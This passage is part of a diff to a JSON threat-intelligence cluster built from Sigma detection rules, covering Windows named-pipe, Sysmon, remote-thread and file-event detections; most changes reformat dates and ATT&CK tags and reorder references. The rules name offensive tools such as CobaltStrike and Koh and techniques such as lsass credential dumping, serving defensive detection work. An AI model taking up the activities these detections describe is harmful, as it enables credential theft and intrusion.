"https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-6---ammyy-admin-software-execution", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-3---logmein-files-detected-test-on-windows", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_remote_access_software_domains_non_browsers.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1219" ] }, @@ -8830,7 +8832,7 @@ "description": "Detects the creation of a named pipe seen used by known APTs or malware.", "meta": { "author": "Florian Roth (Nextron Systems), blueteam0ps, elhoim", - "creation_date": "2017/11/06", + "creation_date": "2017-11-06", "falsepositive": [ "Unknown" ], @@ -8839,23 +8841,23 @@ "logsource.category": "pipe_created", "logsource.product": "windows", "refs": [ - "https://securelist.com/faq-the-projectsauron-apt/75533/", - "https://thedfirreport.com/2020/06/21/snatch-ransomware/", - "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", "https://www.us-cert.gov/ncas/alerts/TA17-117A", "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/", + "https://thedfirreport.com/2020/06/21/snatch-ransomware/", + "https://download.bitdefender.com/resources/files/News/CaseStudies/study/115/Bitdefender-Whitepaper-PAC-A4-en-EN1.pdf", + "https://web.archive.org/web/20180725233601/https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", "https://github.com/RiccardoAncarani/LiquidSnake", + "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", "https://us-cert.cisa.gov/ncas/analysis-reports/ar19-304a", - "https://web.archive.org/web/20180725233601/https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", - "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", - "https://securelist.com/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/71275/", "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", - "https://download.bitdefender.com/resources/files/News/CaseStudies/study/115/Bitdefender-Whitepaper-PAC-A4-en-EN1.pdf", + "https://securelist.com/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/71275/", + "https://securelist.com/faq-the-projectsauron-apt/75533/", + "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_susp_malicious_namedpipes.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1055" ] }, @@ -8875,7 +8877,7 @@ "description": "Detects the creation of a named pipe with a pattern found in CobaltStrike malleable C2 profiles", "meta": { "author": "Florian Roth (Nextron Systems), Christian Burkard (Nextron Systems)", - "creation_date": "2021/07/30", + "creation_date": "2021-07-30", "falsepositive": [ "Chrome instances using the exact same pipe name \"mojo.xxx\"", "Websense Endpoint using the pipe name \"DserNamePipe(R|W)\\d{1,5}\"" @@ -8890,8 +8892,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_hktl_cobaltstrike_susp_pipe_patterns.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1055", "stp.1k" ] @@ -8912,7 +8914,7 @@ "description": "Detects default RemCom pipe creation", "meta": { "author": "Nikita Nazarov, oscd.community, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/08/07", + "creation_date": "2023-08-07", "falsepositive": [ "Legitimate Administrator activity" ], @@ -8926,7 +8928,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_pua_remcom_default_pipe.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.002", "attack.execution", "attack.t1569.002" @@ -8955,7 +8957,7 @@ "description": "Detects suspicious local connections via a named pipe to the AD FS configuration database (Windows Internal Database).\nUsed to access information such as the AD FS configuration settings which contains sensitive information used to sign SAML tokens.\n", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g", - "creation_date": "2021/10/08", + "creation_date": "2021-10-08", "falsepositive": [ "Unknown" ], @@ -8990,7 +8992,7 @@ "description": "Detects the creation of a named pipe matching a pattern used by CobaltStrike Malleable C2 profiles", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/07/30", + "creation_date": "2021-07-30", "falsepositive": [ "Unknown" ], @@ -9004,8 +9006,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_hktl_cobaltstrike_re.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1055" ] }, @@ -9025,7 +9027,7 @@ "description": "Detects PAExec default named pipe", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/10/26", + "creation_date": "2022-10-26", "falsepositive": [ "Unknown" ], @@ -9034,8 +9036,8 @@ "logsource.category": "pipe_created", "logsource.product": "windows", "refs": [ - "https://github.com/poweradminllc/PAExec", "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/efa17a600b43c897b4b7463cc8541daa1987eeb4/Command%20and%20Control/C2-NamedPipe.md", + "https://github.com/poweradminllc/PAExec", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_pua_paexec_default_pipe.yml" ], "tags": [ @@ -9059,7 +9061,7 @@ "description": "Detects default CSExec pipe creation", "meta": { "author": "Nikita Nazarov, oscd.community, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/08/07", + "creation_date": "2023-08-07", "falsepositive": [ "Legitimate Administrator activity" ], @@ -9068,12 +9070,12 @@ "logsource.category": "pipe_created", "logsource.product": "windows", "refs": [ - "https://github.com/malcomvetter/CSExec", "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view", + "https://github.com/malcomvetter/CSExec", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_pua_csexec_default_pipe.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.002", "attack.execution", "attack.t1569.002" @@ -9102,7 +9104,7 @@ "description": "Detects the pattern of a pipe name as used by the hack tool CoercedPotato", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2023/10/11", + "creation_date": "2023-10-11", "falsepositive": [ "Unknown" ], @@ -9116,8 +9118,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_hktl_coercedpotato.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1055" ] }, @@ -9137,7 +9139,7 @@ "description": "Detects the pattern of a pipe name as used by the hack tool EfsPotato", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/08/23", + "creation_date": "2021-08-23", "falsepositive": [ "\\pipe\\LOCAL\\Monitorian" ], @@ -9151,8 +9153,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_hktl_efspotato.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1055" ] }, @@ -9172,7 +9174,7 @@ "description": "Detects creation of default named pipe used by the DiagTrackEoP POC, a tool that abuses \"SeImpersonate\" privilege.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/03", + "creation_date": "2022-08-03", "falsepositive": [ "Unlikely" ], @@ -9185,7 +9187,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_hktl_diagtrack_eop.yml" ], "tags": [ - "attack.privilege_escalation" + "attack.privilege-escalation" ] }, "uuid": "1f7025a6-e747-4130-aac4-961eb47015f1", @@ -9195,7 +9197,7 @@ "description": "Detects creation of default named pipes used by the Koh tool", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/08", + "creation_date": "2022-07-08", "falsepositive": [ "Unlikely" ], @@ -9208,8 +9210,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_hktl_koh_default_pipe.yml" ], "tags": [ - "attack.privilege_escalation", - "attack.credential_access", + "attack.privilege-escalation", + "attack.credential-access", "attack.t1528", "attack.t1134.001" ] @@ -9237,7 +9239,7 @@ "description": "Detects the creation of a named pipe as used by CobaltStrike", "meta": { "author": "Florian Roth (Nextron Systems), Wojciech Lesicki", - "creation_date": "2021/05/25", + "creation_date": "2021-05-25", "falsepositive": [ "Unknown" ], @@ -9246,16 +9248,16 @@ "logsource.category": "pipe_created", "logsource.product": "windows", "refs": [ - "https://github.com/SigmaHQ/sigma/issues/253", - "https://labs.f-secure.com/blog/detecting-cobalt-strike-default-modules-via-named-pipe-analysis/", "https://redcanary.com/threat-detection-report/threats/cobalt-strike/", - "https://twitter.com/d4rksystem/status/1357010969264873472", "https://blog.cobaltstrike.com/2021/02/09/learn-pipe-fitting-for-all-of-your-offense-projects/", + "https://github.com/SigmaHQ/sigma/issues/253", + "https://twitter.com/d4rksystem/status/1357010969264873472", + "https://labs.f-secure.com/blog/detecting-cobalt-strike-default-modules-via-named-pipe-analysis/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_hktl_cobaltstrike.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1055" ] }, @@ -9275,7 +9277,7 @@ "description": "Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g, Tim Shelton", - "creation_date": "2019/09/12", + "creation_date": "2019-09-12", "falsepositive": [ "Programs using PowerShell directly without invocation of a dedicated interpreter." ], @@ -9309,7 +9311,7 @@ "description": "Detects PsExec default pipe creation where the image executed is located in a suspicious location. Which could indicate that the tool is being used in an attack", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/04", + "creation_date": "2022-08-04", "falsepositive": [ "Rare legitimate use of psexec from the locations mentioned above. This will require initial tuning based on your environment." ], @@ -9318,8 +9320,8 @@ "logsource.category": "pipe_created", "logsource.product": "windows", "refs": [ - "https://jpcertcc.github.io/ToolAnalysisResultSheet", "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", + "https://jpcertcc.github.io/ToolAnalysisResultSheet", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_sysinternals_psexec_default_pipe_susp_location.yml" ], "tags": [ @@ -9344,7 +9346,7 @@ "description": "Detects the WMI Event Consumer service scrcons.exe creating a named pipe", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/09/01", + "creation_date": "2021-09-01", "falsepositive": [ "Unknown" ], @@ -9377,7 +9379,7 @@ "description": "Detects well-known credential dumping tools execution via specific named pipe creation", "meta": { "author": "Teymur Kheirkhabarov, oscd.community", - "creation_date": "2019/11/01", + "creation_date": "2019-11-01", "falsepositive": [ "Legitimate Administrator using tool for password recovery" ], @@ -9391,7 +9393,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_hktl_generic_cred_dump_tools_pipes.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001", "attack.t1003.002", "attack.t1003.004", @@ -9435,7 +9437,7 @@ "description": "Detects the execution of PowerShell via the creation of a named pipe starting with PSHost", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2019/09/12", + "creation_date": "2019-09-12", "falsepositive": [ "Likely" ], @@ -9469,7 +9471,7 @@ "description": "Detects when an attacker tries to hide from Sysmon by disabling or stopping it", "meta": { "author": "frack113", - "creation_date": "2021/06/04", + "creation_date": "2021-06-04", "falsepositive": [ "Legitimate administrative action" ], @@ -9483,7 +9485,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_config_modification_status.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1564" ] }, @@ -9503,7 +9505,7 @@ "description": "Detects a Sysmon configuration change, which could be the result of a legitimate reconfiguration or someone trying manipulate the configuration", "meta": { "author": "frack113", - "creation_date": "2022/01/12", + "creation_date": "2022-01-12", "falsepositive": [ "Legitimate administrative action" ], @@ -9516,7 +9518,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_config_modification.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "8ac03a65-6c84-4116-acad-dc1558ff7a77", @@ -9526,7 +9528,7 @@ "description": "Triggers on any Sysmon \"FileBlockShredding\" event, which indicates a violation of the configured shredding policy.", "meta": { "author": "frack113", - "creation_date": "2023/07/20", + "creation_date": "2023-07-20", "falsepositive": [ "Unlikely" ], @@ -9539,7 +9541,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_file_block_shredding.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "c3e5c1b1-45e9-4632-b242-27939c170239", @@ -9549,7 +9551,7 @@ "description": "Detects when an adversary is trying to hide it's action from Sysmon logging based on error messages", "meta": { "author": "frack113", - "creation_date": "2021/06/04", + "creation_date": "2021-06-04", "falsepositive": [ "Legitimate administrative action" ], @@ -9563,7 +9565,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_config_modification_error.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1564" ] }, @@ -9583,7 +9585,7 @@ "description": "Triggers on any Sysmon \"FileExecutableDetected\" event, which triggers every time a PE that is monitored by the config is created.", "meta": { "author": "frack113", - "creation_date": "2023/07/20", + "creation_date": "2023-07-20", "falsepositive": [ "Unlikely" ], @@ -9592,12 +9594,12 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://medium.com/@olafhartong/sysmon-15-0-file-executable-detected-40fd64349f36", "https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon", + "https://medium.com/@olafhartong/sysmon-15-0-file-executable-detected-40fd64349f36", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_file_executable_detected.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "693a44e9-7f26-4cb6-b787-214867672d3a", @@ -9607,7 +9609,7 @@ "description": "Triggers on any Sysmon \"FileBlockExecutable\" event, which indicates a violation of the configured block policy", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/16", + "creation_date": "2022-08-16", "falsepositive": [ "Unlikely" ], @@ -9620,7 +9622,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_file_block_executable.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "23b71bc5-953e-4971-be4c-c896cda73fc2", @@ -9630,7 +9632,7 @@ "description": "Detects uncommon processes creating remote threads.", "meta": { "author": "Perez Diego (@darkquassar), oscd.community", - "creation_date": "2019/10/27", + "creation_date": "2019-10-27", "falsepositive": [ "This rule is best put in testing first in order to create a baseline that reflects the data in your environment." ], @@ -9639,13 +9641,13 @@ "logsource.category": "create_remote_thread", "logsource.product": "windows", "refs": [ - "Personal research, statistical analysis", "https://lolbas-project.github.io", + "Personal research, statistical analysis", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_susp_uncommon_source_image.yml" ], "tags": [ - "attack.privilege_escalation", - "attack.defense_evasion", + "attack.privilege-escalation", + "attack.defense-evasion", "attack.t1055" ] }, @@ -9665,7 +9667,7 @@ "description": "Detects remote thread creation in \"KeePass.exe\" which could indicates potential password dumping activity", "meta": { "author": "Timon Hackenjos", - "creation_date": "2022/04/22", + "creation_date": "2022-04-22", "falsepositive": [ "Unknown" ], @@ -9674,13 +9676,13 @@ "logsource.category": "create_remote_thread", "logsource.product": "windows", "refs": [ - "https://www.cisa.gov/uscert/ncas/alerts/aa20-259a", "https://github.com/GhostPack/KeeThief", "https://github.com/denandz/KeeFarce", + "https://www.cisa.gov/uscert/ncas/alerts/aa20-259a", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_keepass.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1555.005" ] }, @@ -9696,11 +9698,45 @@ "uuid": "77564cc2-7382-438b-a7f6-395c2ae53b9a", "value": "Remote Thread Created In KeePass.EXE" }, + { + "description": "Detects remote thread creation in command shell applications, such as \"Cmd.EXE\" and \"PowerShell.EXE\".\nIt is a common technique used by malware, such as IcedID, to inject malicious code and execute it within legitimate processes.\n", + "meta": { + "author": "Splunk Research Team", + "creation_date": "2024-07-29", + "falsepositive": [ + "Unknown" + ], + "filename": "create_remote_thread_win_susp_target_shell_application.yml", + "level": "medium", + "logsource.category": "create_remote_thread", + "logsource.product": "windows", + "refs": [ + "https://www.binarydefense.com/resources/blog/icedid-gziploader-analysis/", + "https://research.splunk.com/endpoint/10399c1e-f51e-11eb-b920-acde48001122/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_susp_target_shell_application.yml" + ], + "tags": [ + "attack.defense-evasion", + "attack.t1055" + ] + }, + "related": [ + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "a9d4d3fa-8fc0-41bc-80b1-30b9fda79d6f", + "value": "Remote Thread Created In Shell Application" + }, { "description": "Detects the creation of a remote thread from a Powershell process in an uncommon target process", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2018/06/25", + "creation_date": "2018-06-25", "falsepositive": [ "Unknown" ], @@ -9713,7 +9749,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_powershell_susp_targets.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution", "attack.t1218.011", "attack.t1059.001" @@ -9742,7 +9778,7 @@ "description": "Detects remote thread creation from CACTUSTORCH as described in references.", "meta": { "author": "@SBousseaden (detection), Thomas Patzke (rule)", - "creation_date": "2019/02/01", + "creation_date": "2019-02-01", "falsepositive": [ "Unknown" ], @@ -9756,7 +9792,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_hktl_cactustorch.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution", "attack.t1055.012", "attack.t1059.005", @@ -9801,7 +9837,7 @@ "description": "Detects a potential remote threat creation with certain characteristics which are typical for Cobalt Strike beacons", "meta": { "author": "Olaf Hartong, Florian Roth (Nextron Systems), Aleksey Potapov, oscd.community", - "creation_date": "2018/11/30", + "creation_date": "2018-11-30", "falsepositive": [ "Unknown" ], @@ -9810,12 +9846,12 @@ "logsource.category": "create_remote_thread", "logsource.product": "windows", "refs": [ - "https://blog.cobaltstrike.com/2018/04/09/cobalt-strike-3-11-the-snake-that-eats-its-tail/", "https://medium.com/@olafhartong/cobalt-strike-remote-threads-detection-206372d11d0f", + "https://blog.cobaltstrike.com/2018/04/09/cobalt-strike-3-11-the-snake-that-eats-its-tail/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_hktl_cobaltstrike.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1055.001" ] }, @@ -9835,7 +9871,7 @@ "description": "Detects password dumper activity by monitoring remote thread creation EventID 8 in combination with the lsass.exe process as TargetImage.\nThe process in field Process is the malicious program. A single execution can lead to hundreds of events.\n", "meta": { "author": "Thomas Patzke", - "creation_date": "2017/02/19", + "creation_date": "2017-02-19", "falsepositive": [ "Antivirus products" ], @@ -9848,7 +9884,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_susp_password_dumper_lsass.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.s0005", "attack.t1003.001" ] @@ -9869,7 +9905,7 @@ "description": "Detects remote thread creation in the \"mstsc.exe\" process by a process located in a potentially suspicious location.\nThis technique is often used by attackers in order to hook some APIs used by DLLs loaded by \"mstsc.exe\" during RDP authentications in order to steal credentials.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/07/28", + "creation_date": "2023-07-28", "falsepositive": [ "Unknown" ], @@ -9882,7 +9918,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_mstsc_susp_location.yml" ], "tags": [ - "attack.credential_access" + "attack.credential-access" ] }, "uuid": "c0aac16a-b1e7-4330-bab0-3c27bb4987c7", @@ -9892,7 +9928,7 @@ "description": "Detects a remote thread creation of Ttdinject.exe used as proxy", "meta": { "author": "frack113", - "creation_date": "2022/05/16", + "creation_date": "2022-05-16", "falsepositive": [ "Unknown" ], @@ -9905,7 +9941,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_ttdinjec.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1127" ] }, @@ -9925,7 +9961,7 @@ "description": "Detects remote thread creation by PowerShell processes into \"lsass.exe\"", "meta": { "author": "oscd.community, Natalia Shornikova", - "creation_date": "2020/10/06", + "creation_date": "2020-10-06", "falsepositive": [ "Unknown" ], @@ -9938,7 +9974,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_powershell_lsass.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001" ] }, @@ -9958,7 +9994,7 @@ "description": "Detects uncommon target processes for remote thread creation", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/03/16", + "creation_date": "2022-03-16", "falsepositive": [ "Unknown" ], @@ -9967,12 +10003,12 @@ "logsource.category": "create_remote_thread", "logsource.product": "windows", "refs": [ - "https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection", + "https://web.archive.org/web/20220319032520/https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_susp_uncommon_target_image.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1055.003" ] }, @@ -9992,7 +10028,7 @@ "description": "Detects uncommon processes creating remote threads.", "meta": { "author": "Perez Diego (@darkquassar), oscd.community", - "creation_date": "2019/10/27", + "creation_date": "2019-10-27", "falsepositive": [ "This rule is best put in testing first in order to create a baseline that reflects the data in your environment." ], @@ -10001,13 +10037,13 @@ "logsource.category": "create_remote_thread", "logsource.product": "windows", "refs": [ - "Personal research, statistical analysis", "https://lolbas-project.github.io", + "Personal research, statistical analysis", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_susp_relevant_source_image.yml" ], "tags": [ - "attack.privilege_escalation", - "attack.defense_evasion", + "attack.privilege-escalation", + "attack.defense-evasion", "attack.t1055" ] }, @@ -10027,7 +10063,7 @@ "description": "Detects a dump file written by QuarksPwDump password dumper", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2018/02/10", + "creation_date": "2018-02-10", "falsepositive": [ "Unknown" ], @@ -10040,7 +10076,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_quarkspw_filedump.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.002" ] }, @@ -10060,7 +10096,7 @@ "description": "Detects the creation of the LiveKD driver by a process image other than \"livekd.exe\".", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/16", + "creation_date": "2023-05-16", "falsepositive": [ "Administrators might rename LiveKD before its usage which could trigger this. Add additional names you use to the filter" ], @@ -10073,8 +10109,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_sysinternals_livekd_driver_susp_creation.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation" + "attack.defense-evasion", + "attack.privilege-escalation" ] }, "uuid": "059c5af9-5131-4d8d-92b2-de4ad6146712", @@ -10084,7 +10120,7 @@ "description": "Detects the creation of a macro file for Outlook.", "meta": { "author": "@ScoubiMtl", - "creation_date": "2021/04/05", + "creation_date": "2021-04-05", "falsepositive": [ "User genuinely creates a VB Macro for their email" ], @@ -10098,7 +10134,7 @@ ], "tags": [ "attack.persistence", - "attack.command_and_control", + "attack.command-and-control", "attack.t1137", "attack.t1008", "attack.t1546" @@ -10134,7 +10170,7 @@ "description": "Detect creation of suspicious executable file names.\nSome strings look for suspicious file extensions, others look for filenames that exploit unquoted service paths.\n", "meta": { "author": "frack113", - "creation_date": "2022/09/05", + "creation_date": "2022-09-05", "falsepositive": [ "Unknown" ], @@ -10148,7 +10184,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_executable_creation.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1564" ] }, @@ -10168,7 +10204,7 @@ "description": "Detects the creation of a office macro file from a a suspicious process", "meta": { "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/01/23", + "creation_date": "2022-01-23", "falsepositive": [ "Unknown" ], @@ -10177,12 +10213,12 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1566.001/T1566.001.md", "https://learn.microsoft.com/en-us/deployoffice/compat/office-file-format-reference", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1566.001/T1566.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_macro_files_from_susp_process.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1566.001" ] }, @@ -10202,7 +10238,7 @@ "description": "Detects msdt.exe creating files in suspicious directories which could be a sign of exploitation of either Follina or Dogwalk vulnerabilities", "meta": { "author": "Vadim Varganov, Florian Roth (Nextron Systems)", - "creation_date": "2022/08/24", + "creation_date": "2022-08-24", "falsepositive": [ "Unknown" ], @@ -10211,14 +10247,14 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/", "https://irsl.medium.com/the-trouble-with-microsofts-troubleshooters-6e32fc80b8bd", + "https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_msdt_susp_directories.yml" ], "tags": [ "attack.persistence", "attack.t1547.001", - "cve.2022.30190" + "cve.2022-30190" ] }, "related": [ @@ -10237,7 +10273,7 @@ "description": "Detects the creation of a file with the \".dmp\"/\".hdmp\" extension by a shell or scripting application such as \"cmd\", \"powershell\", etc. Often created by software during a crash. Memory dumps can sometimes contain sensitive information such as credentials. It's best to determine the source of the crash.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/09/07", + "creation_date": "2023-09-07", "falsepositive": [ "Some administrative PowerShell or VB scripts might have the ability to collect dumps and move them to other folders which might trigger a false positive." ], @@ -10250,7 +10286,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_dump_file_susp_creation.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "aba15bdd-657f-422a-bab3-ac2d2a0d6f1c", @@ -10260,7 +10296,7 @@ "description": "Detects the creation of a file by \"dllhost.exe\" in System32 directory part of \"IDiagnosticProfileUAC\" UAC bypass technique", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/03", + "creation_date": "2022-07-03", "falsepositive": [ "Unknown" ], @@ -10274,8 +10310,8 @@ ], "tags": [ "attack.execution", - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1548.002" ] }, @@ -10295,7 +10331,7 @@ "description": "Detects the creation of new DLL assembly files by \"aspnet_compiler.exe\", which could be a sign of \"aspnet_compiler\" abuse to proxy execution through a build provider.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/08/14", + "creation_date": "2023-08-14", "falsepositive": [ "Legitimate assembly compilation using a build provider" ], @@ -10318,7 +10354,7 @@ "description": "Detects execution of attacker-controlled WsmPty.xsl or WsmTxt.xsl via winrm.vbs and copied cscript.exe (can be renamed)", "meta": { "author": "Julia Fomina, oscd.community", - "creation_date": "2020/10/06", + "creation_date": "2020-10-06", "falsepositive": [ "Unlikely" ], @@ -10331,7 +10367,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_winrm_awl_bypass.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1216" ] }, @@ 